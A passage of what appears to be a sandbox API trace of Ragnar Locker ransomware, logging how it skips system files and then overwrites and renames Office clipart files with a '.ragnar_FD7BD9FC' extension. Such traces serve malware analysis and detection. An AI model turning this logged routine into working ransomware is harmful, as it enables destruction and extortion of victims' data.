(lpString1=".WMF", lpString2=".msi") returned 1 [0089.647] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.647] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.647] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02169_.wmf")) returned 0x20 [0089.648] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02169_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.648] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8132) returned 1 [0089.648] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1fbb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.648] GetProcessHeap () returned 0x580000 [0089.648] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.648] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.650] VirtualAlloc (lpAddress=0x0, dwSize=0x1fc4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.650] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.650] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.650] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1fc4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1fc4, lpOverlapped=0x0) returned 1 [0089.651] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.651] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1fc4, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.651] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1fc4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1fc4, lpOverlapped=0x0) returned 1 [0089.651] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1fc4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.651] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.651] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1fc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.651] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.651] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.651] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.652] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.652] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.652] GetProcessHeap () returned 0x580000 [0089.652] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.652] CloseHandle (hObject=0xf4) returned 1 [0089.652] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF" [0089.652] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF.ragnar_FD7BD9FC" [0089.652] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02169_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02169_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.653] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8378b700, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8378b700, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x75e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE02262_.WMF", cAlternateFileName="")) returned 1 [0089.653] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.653] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE02262_.WMF" | out: lpString1="PE02262_.WMF") returned="PE02262_.WMF" [0089.653] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02262_.WMF") returned=".WMF" [0089.653] lstrcmpiW (lpString1="PE02262_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.653] lstrcmpiW (lpString1="PE02262_.WMF", lpString2="autorun.inf") returned 1 [0089.653] lstrcmpiW (lpString1="PE02262_.WMF", lpString2="boot.ini") returned 1 [0089.653] lstrcmpiW (lpString1="PE02262_.WMF", lpString2="bootfont.bin") returned 1 [0089.653] lstrcmpiW (lpString1="PE02262_.WMF", lpString2="bootsect.bak") returned 1 [0089.653] lstrcmpiW (lpString1="PE02262_.WMF", lpString2="bootmgr") returned 1 [0089.653] lstrcmpiW (lpString1="PE02262_.WMF", lpString2="bootmgr.efi") returned 1 [0089.653] lstrcmpiW (lpString1="PE02262_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.653] lstrcmpiW (lpString1="PE02262_.WMF", lpString2="desktop.ini") returned 1 [0089.653] lstrcmpiW (lpString1="PE02262_.WMF", lpString2="iconcache.db") returned 1 [0089.653] lstrcmpiW (lpString1="PE02262_.WMF", lpString2="ntldr") returned 1 [0089.653] lstrcmpiW (lpString1="PE02262_.WMF", lpString2="ntuser.dat") returned 1 [0089.653] lstrcmpiW (lpString1="PE02262_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.653] lstrcmpiW (lpString1="PE02262_.WMF", lpString2="ntuser.ini") returned 1 [0089.653] lstrcmpiW (lpString1="PE02262_.WMF", lpString2="thumbs.db") returned -1 [0089.653] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.653] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.653] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.653] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.653] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.653] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.653] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.653] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02262_.wmf")) returned 0x20 [0089.653] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02262_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.654] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=30178) returned 1 [0089.654] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x75d9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.654] GetProcessHeap () returned 0x580000 [0089.654] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.654] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.655] VirtualAlloc (lpAddress=0x0, dwSize=0x75e2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.656] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.656] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.656] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x75e2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x75e2, lpOverlapped=0x0) returned 1 [0089.657] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.657] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x75e2, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.657] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x75e2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x75e2, lpOverlapped=0x0) returned 1 [0089.657] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x75e2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.657] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.658] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x75e2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.658] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.658] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.658] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.658] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.658] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.658] GetProcessHeap () returned 0x580000 [0089.658] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.658] CloseHandle (hObject=0xf4) returned 1 [0089.658] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02262_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02262_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02262_.WMF" [0089.658] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02262_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02262_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02262_.WMF.ragnar_FD7BD9FC" [0089.658] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02262_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02262_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02262_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.659] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb983d700, ftCreationTime.dwHighDateTime=0x1bf148e, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb983d700, ftLastWriteTime.dwHighDateTime=0x1bf148e, nFileSizeHigh=0x0, nFileSizeLow=0x824e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE02263_.WMF", cAlternateFileName="")) returned 1 [0089.659] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.659] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE02263_.WMF" | out: lpString1="PE02263_.WMF") returned="PE02263_.WMF" [0089.659] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02263_.WMF") returned=".WMF" [0089.659] lstrcmpiW (lpString1="PE02263_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.659] lstrcmpiW (lpString1="PE02263_.WMF", lpString2="autorun.inf") returned 1 [0089.659] lstrcmpiW (lpString1="PE02263_.WMF", lpString2="boot.ini") returned 1 [0089.659] lstrcmpiW (lpString1="PE02263_.WMF", lpString2="bootfont.bin") returned 1 [0089.659] lstrcmpiW (lpString1="PE02263_.WMF", lpString2="bootsect.bak") returned 1 [0089.659] lstrcmpiW (lpString1="PE02263_.WMF", lpString2="bootmgr") returned 1 [0089.659] lstrcmpiW (lpString1="PE02263_.WMF", lpString2="bootmgr.efi") returned 1 [0089.659] lstrcmpiW (lpString1="PE02263_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.659] lstrcmpiW (lpString1="PE02263_.WMF", lpString2="desktop.ini") returned 1 [0089.659] lstrcmpiW (lpString1="PE02263_.WMF", lpString2="iconcache.db") returned 1 [0089.659] lstrcmpiW (lpString1="PE02263_.WMF", lpString2="ntldr") returned 1 [0089.659] lstrcmpiW (lpString1="PE02263_.WMF", lpString2="ntuser.dat") returned 1 [0089.659] lstrcmpiW (lpString1="PE02263_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.660] lstrcmpiW (lpString1="PE02263_.WMF", lpString2="ntuser.ini") returned 1 [0089.660] lstrcmpiW (lpString1="PE02263_.WMF", lpString2="thumbs.db") returned -1 [0089.660] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.660] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.660] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.660] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.660] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.660] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.660] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.660] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02263_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02263_.wmf")) returned 0x20 [0089.660] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02263_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02263_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.660] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=33358) returned 1 [0089.660] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8245, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.660] GetProcessHeap () returned 0x580000 [0089.660] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.660] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.662] VirtualAlloc (lpAddress=0x0, dwSize=0x824e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.662] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.662] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.662] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x824e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x824e, lpOverlapped=0x0) returned 1 [0089.664] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.664] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x824e, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.664] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x824e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x824e, lpOverlapped=0x0) returned 1 [0089.664] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x824e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.664] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.665] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x824e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.665] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.665] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.665] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.665] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.665] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.665] GetProcessHeap () returned 0x580000 [0089.665] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.665] CloseHandle (hObject=0xf4) returned 1 [0089.665] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02263_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02263_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02263_.WMF" [0089.665] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02263_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02263_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02263_.WMF.ragnar_FD7BD9FC" [0089.665] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02263_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02263_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02263_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02263_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.666] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa753f100, ftCreationTime.dwHighDateTime=0x1bd4b13, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa753f100, ftLastWriteTime.dwHighDateTime=0x1bd4b13, nFileSizeHigh=0x0, nFileSizeLow=0x62b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE02265_.WMF", cAlternateFileName="")) returned 1 [0089.666] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.666] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE02265_.WMF" | out: lpString1="PE02265_.WMF") returned="PE02265_.WMF" [0089.666] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02265_.WMF") returned=".WMF" [0089.666] lstrcmpiW (lpString1="PE02265_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.666] lstrcmpiW (lpString1="PE02265_.WMF", lpString2="autorun.inf") returned 1 [0089.666] lstrcmpiW (lpString1="PE02265_.WMF", lpString2="boot.ini") returned 1 [0089.666] lstrcmpiW (lpString1="PE02265_.WMF", lpString2="bootfont.bin") returned 1 [0089.666] lstrcmpiW (lpString1="PE02265_.WMF", lpString2="bootsect.bak") returned 1 [0089.666] lstrcmpiW (lpString1="PE02265_.WMF", lpString2="bootmgr") returned 1 [0089.666] lstrcmpiW (lpString1="PE02265_.WMF", lpString2="bootmgr.efi") returned 1 [0089.666] lstrcmpiW (lpString1="PE02265_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.666] lstrcmpiW (lpString1="PE02265_.WMF", lpString2="desktop.ini") returned 1 [0089.666] lstrcmpiW (lpString1="PE02265_.WMF", lpString2="iconcache.db") returned 1 [0089.666] lstrcmpiW (lpString1="PE02265_.WMF", lpString2="ntldr") returned 1 [0089.666] lstrcmpiW (lpString1="PE02265_.WMF", lpString2="ntuser.dat") returned 1 [0089.666] lstrcmpiW (lpString1="PE02265_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.666] lstrcmpiW (lpString1="PE02265_.WMF", lpString2="ntuser.ini") returned 1 [0089.666] lstrcmpiW (lpString1="PE02265_.WMF", lpString2="thumbs.db") returned -1 [0089.666] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.666] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.666] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.667] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.667] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.667] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.667] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.667] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02265_.wmf")) returned 0x20 [0089.667] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02265_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.667] GetFileSizeEx (in: hFile=0xf4, 